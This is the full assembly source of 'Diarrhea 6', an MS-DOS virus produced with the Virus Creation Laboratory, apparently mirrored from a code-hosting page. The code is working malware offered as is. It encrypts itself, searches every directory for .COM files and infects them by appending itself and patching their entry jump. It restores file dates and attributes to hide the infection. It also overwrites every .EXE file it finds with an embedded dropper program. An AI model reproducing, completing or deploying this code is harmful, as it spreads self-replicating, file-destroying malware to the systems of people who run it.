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; DIARRHE6.ASM -- DIARRHEA 6
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; Created with Nowhere Man's Virus Creation Laboratory v1.00
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; Written by URNST KOUCH
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virus_type equ 0 ; Appending Virus
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is_encrypted equ 1 ; We're encrypted
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tsr_virus equ 0 ; We're not TSR
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code segment byte public
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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main proc near
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db 0E9h,00h,00h ; Near jump (for compatibility)
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start: call find_offset ; Like a PUSH IP
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find_offset: pop bp ; BP holds old IP
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sub bp,offset find_offset ; Adjust for length of host
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call encrypt_decrypt ; Decrypt the virus
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start_of_code label near
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lea si,[bp + buffer] ; SI points to original start
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mov di,0100h ; Push 0100h on to stack for
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push di ; return to main program
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movsw ; Copy the first two bytes
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movsb ; Copy the third byte
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mov di,bp ; DI points to start of virus
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mov bp,sp ; BP points to stack
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer on stack
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int 021h
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call search_files ; Find and infect a file
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call search_files ; Find and infect another file
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lea dx,[di + data00] ; DX points to data
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lea si,[di + data01] ; SI points to data
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push di ; Save DI
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mov ah,02Fh ; DOS get DTA function
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int 021h
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mov di,bx ; DI points to DTA
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mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds all file attributes
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int 021h
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jc create_file ; If not found then create it
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write_in_file: mov ax,04301h ; DOS set file attributes function
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xor cx,cx ; File will have no attributes
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lea dx,[di + 01Eh] ; DX points to file name
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int 021h
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mov ax,03D01h ; DOS open file function, write
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lea dx,[di + 01Eh] ; DX points to file name
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int 021h
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xchg bx,ax ; Transfer file handle to AX
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mov ah,040h ; DOS write to file function
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mov cx,[si] ; CX holds number of byte to write
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lea dx,[si + 2] ; DX points to the data
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int 021h
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mov ax,05701h ; DOS set file date/time function
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mov cx,[di + 016h] ; CX holds old file time
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mov dx,[di + 018h] ; DX holds old file data
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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mov ax,04301h ; DOS set file attributes function
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xor ch,ch ; Clear CH for attributes
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mov cl,[di + 015h] ; CL holds old attributes
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lea dx,[di + 01Eh] ; DX points to file name
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int 021h
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mov ah,04Fh ; DOS find next file function
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int 021h
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jnc write_in_file ; If successful do next file
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jmp short dropper_end ; Otherwise exit
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create_file: mov ah,03Ch ; DOS create file function
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xor cx,cx ; File has no attributes
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int 021h
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xchg bx,ax ; Transfer file handle to AX
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mov ah,040h ; DOS write to file function
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mov cx,[si] ; CX holds number of byte to write
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lea dx,[si + 2] ; DX points to the data
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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dropper_end: pop di ; Restore DI
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com_end: pop dx ; DX holds original DTA address
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mov ah,01Ah ; DOS set DTA function
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int 021h
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mov sp,bp ; Deallocate local buffer
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xor ax,ax ;
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mov bx,ax ;
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mov cx,ax ;
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mov dx,ax ; Empty out the registers
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mov si,ax ;
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mov di,ax ;
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mov bp,ax ;
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ret ; Return to original program
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main endp
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search_files proc near
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push bp ; Save BP
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mov bp,sp ; BP points to local buffer
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sub sp,64 ; Allocate 64 bytes on stack
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mov ah,047h ; DOS get current dir function
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xor dl,dl ; DL holds drive # (current)
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lea si,[bp - 64] ; SI points to 64-byte buffer
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int 021h
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mov ah,03Bh ; DOS change directory function
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lea dx,[di + root] ; DX points to root directory
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int 021h
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call traverse ; Start the traversal
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 64] ; DX points to old directory
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int 021h
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mov sp,bp ; Restore old stack pointer
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pop bp ; Restore BP
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ret ; Return to caller
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root db "\",0 ; Root directory
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search_files endp
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traverse proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first function
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mov cx,00010000b ; CX holds search attributes
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lea dx,[di + all_files] ; DX points to "*.*"
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int 021h
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jc leave_traverse ; Leave if no files present
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check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
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jne another_dir ; If not, try again
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cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
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je another_dir ;If so, keep going
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 98] ; DX points to new directory
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int 021h
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call traverse ; Recursively call ourself
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pushf ; Save the flags
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mov ah,03Bh ; DOS change directory function
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lea dx,[di + up_dir] ; DX points to parent directory
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int 021h
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popf ; Restore the flags
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jnc done_searching ; If we infected then exit
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another_dir: mov ah,04Fh ; DOS find next function
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int 021h
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jnc check_dir ; If found check the file
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leave_traverse:
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lea dx,[di + com_mask] ; DX points to "*.COM"
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call find_files ; Try to infect a file
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done_searching: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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up_dir db "..",0 ; Parent directory name
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all_files db "*.*",0 ; Directories to search for
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com_mask db "*.COM",0 ; Mask for all .COM files
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traverse endp
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find_files proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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push dx ; Save file mask
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds all file attributes
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pop dx ; Restore file mask
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find_a_file: int 021h
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jc done_finding ; Exit if no files found
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call infect_file ; Infect the file!
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jnc done_finding ; Exit if no error
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mov ah,04Fh ; DOS find next file function
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jmp short find_a_file ; Try finding another file
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done_finding: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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find_files endp
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infect_file proc near
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov si,bx ; SI points to the DTA
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mov byte ptr [di + set_carry],0 ; Assume we'll fail
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cmp word ptr [si + 01Ah],(65279 - (finish - start))
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jbe size_ok ; If it's small enough continue
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jmp infection_done ; Otherwise exit
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size_ok: mov ax,03D00h ; DOS open file function, r/o
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lea dx,[si + 01Eh] ; DX points to file name
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,03Fh ; DOS read from file function
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mov cx,3 ; CX holds bytes to read (3)
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lea dx,[di + buffer] ; DX points to buffer
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int 021h
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mov ax,04202h ; DOS file seek function, EOF
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cwd ; Zero DX _ Zero bytes from end
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mov cx,dx ; Zero CX /
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int 021h
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xchg dx,ax ; Faster than a PUSH AX
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mov ah,03Eh ; DOS close file function
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int 021h
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xchg dx,ax ; Faster than a POP AX
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sub ax,finish - start + 3 ; Adjust AX for a valid jump
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cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
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je infection_done ; If equal then exit
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mov byte ptr [di + set_carry],1 ; Success -- the file is OK
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add ax,finish - start ; Re-adjust to make the jump
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mov word ptr [di + new_jump + 1],ax ; Construct jump
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mov ax,04301h ; DOS set file attrib. function
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xor cx,cx ; Clear all attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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mov ax,03D02h ; DOS open file function, r/w
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,040h ; DOS write to file function
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mov cx,3 ; CX holds bytes to write (3)
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lea dx,[di + new_jump] ; DX points to the jump we made
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int 021h
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mov ax,04202h ; DOS file seek function, EOF
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cwd ; Zero DX _ Zero bytes from end
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mov cx,dx ; Zero CX /
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int 021h
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push si ; Save SI through call
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call encrypt_code ; Write an encrypted copy
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pop si ; Restore SI
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mov ax,05701h ; DOS set file time function
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mov cx,[si + 016h] ; CX holds old file time
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mov dx,[si + 018h] ; DX holds old file date
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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mov ax,04301h ; DOS set file attrib. function
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xor ch,ch ; Clear CH for file attribute
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mov cl,[si + 015h] ; CX holds file's old attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
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ret ; Return to caller
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set_carry db ? ; Set-carry-on-exit flag
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buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
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new_jump db 0E9h,?,? ; New jump to virus
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infect_file endp
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data00 db "*.EXE",0
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data01 dw 189h
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db 0E9h, 0A1h, 000h, 00Ah, 045h, 064h, 064h, 069h
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db 065h, 020h, 06Ch, 069h, 076h, 065h, 073h, 020h
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db 02Eh, 020h, 02Eh, 020h, 02Eh, 020h, 073h, 06Fh
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db 06Dh, 065h, 077h, 068h, 065h, 072h, 065h, 020h
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db 069h, 06Eh, 020h, 074h, 069h, 06Dh, 065h, 021h
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db 020h, 020h, 057h, 072h, 069h, 074h, 074h, 065h
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db 06Eh, 020h, 069h, 06Eh, 020h, 074h, 068h, 065h
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db 020h, 063h, 069h, 074h, 079h, 020h, 06Fh, 066h
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db 053h, 06Fh, 066h, 069h, 061h, 02Ch, 020h, 042h
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db 075h, 06Ch, 067h, 061h, 072h, 069h, 061h, 020h
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db 02Eh, 02Eh, 020h, 020h, 020h, 020h, 020h, 020h
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db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
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db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
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db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
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db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
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db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
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db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
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db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
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db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
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db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
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db 020h, 00Ah, 00Ah, 00Dh, 0B4h, 040h, 0BBh, 001h
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db 000h, 0B9h, 0A0h, 000h, 0BAh, 004h, 001h, 0CDh
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db 021h, 0E8h, 000h, 000h, 0B8h, 000h, 04Ch, 0CDh
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db 021h, 071h, 0E1h, 0A7h, 086h, 038h, 0B8h, 084h
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db 041h, 025h, 0B3h, 0B5h, 04Eh, 00Ah, 05Fh, 0F7h
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db 0BCh, 097h, 0D7h, 0DFh, 02Fh, 0E4h, 040h, 0DAh
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db 0E2h, 008h, 005h, 0F0h, 005h, 03Ah, 050h, 047h
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db 04Bh, 033h, 0E0h, 068h, 076h, 032h, 0B6h, 075h
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db 0ADh, 055h, 0CFh, 04Eh, 06Ch, 00Eh, 01Fh, 0E8h
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db 0F7h, 0FFh, 081h, 0EBh, 0A3h, 023h, 0B9h, 0C1h
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db 011h, 08Bh, 017h, 043h, 043h, 042h, 0A7h, 0E7h
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db 067h, 017h, 048h, 0AFh, 03Bh, 021h, 058h, 04Eh
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db 0A8h, 031h, 0E7h, 0DBh, 098h, 0E1h, 0B2h, 02Eh
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db 05Bh, 069h, 03Ch, 087h, 0B5h, 0A4h, 042h, 09Eh
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db 0C7h, 0B7h, 0A7h, 0ACh, 041h, 09Dh, 0E1h, 084h
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db 080h, 0DAh, 0EEh, 04Fh, 02Fh, 0C9h, 0F4h, 0E1h
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db 0E1h, 0ACh, 08Ah, 06Fh, 0B8h, 055h, 04Bh, 0CDh
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db 021h, 03Dh, 031h, 012h, 074h, 076h, 0B8h, 021h
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db 0EBh, 0CFh, 05Fh, 0D3h, 0C4h, 03Dh, 02Eh, 050h
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db 0C2h, 072h, 00Fh, 0CDh, 04Bh, 0DEh, 036h, 0A1h
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db 087h, 076h, 080h, 018h, 015h, 075h, 06Ah, 018h
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db 0A3h, 040h, 004h, 04Bh, 000h, 081h, 0CDh, 069h
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db 0AFh, 074h, 037h, 01Ah, 08Ch, 094h, 0A9h, 01Fh
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db 0A7h, 0A3h, 0B4h, 040h, 02Eh, 08Bh, 01Eh, 07Dh
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db 003h, 0B9h, 006h, 000h, 0BAh, 095h, 003h, 0CDh
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db 021h, 0B8h, 002h, 042h, 02Eh, 08Bh, 01Eh, 07Dh
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db 003h, 031h, 0C9h, 031h, 0D2h, 0CDh, 021h, 046h
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db 0B3h, 021h, 0FEh, 0ACh, 068h, 045h, 09Eh, 0EFh
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db 006h, 08Ch, 02Ch, 0D8h, 06Bh, 0E0h, 0E7h, 00Fh
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db 000h
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vcl_marker db "[VCL]",0 ; VCL creation marker
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encrypt_code proc near
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push bp ; Save BP
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mov bp,di ; Use BP as pointer to code
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lea si,[bp + encrypt_decrypt]; SI points to cipher routine
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xor ah,ah ; BIOS get time function
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int 01Ah
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mov word ptr [si + 9],dx ; Low word of timer is new key
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|
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xor byte ptr [si + 1],8 ;
|
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xor byte ptr [si + 8],1 ; Change all SIs to DIs
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xor word ptr [si + 11],0101h; (and vice-versa)
|
||||
|
||||
lea di,[bp + finish] ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
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rep movsb ; Copy the bytes
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||||
|
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lea si,[bp + write_stuff] ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
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|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
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||||
inc cx ; Copy the RET also this time
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||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
lea dx,[bp + start] ; DX points to virus
|
||||
|
||||
lea si,[bp + finish] ; SI points to routine
|
||||
call si ; Encrypt/write/decrypt
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||||
mov di,bp ; DI points to virus again
|
||||
pop bp ; Restore BP
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||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
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||||
int 021h
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||||
encrypt_code endp
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||||
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end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
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||||
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
Reference in New Issue
Block a user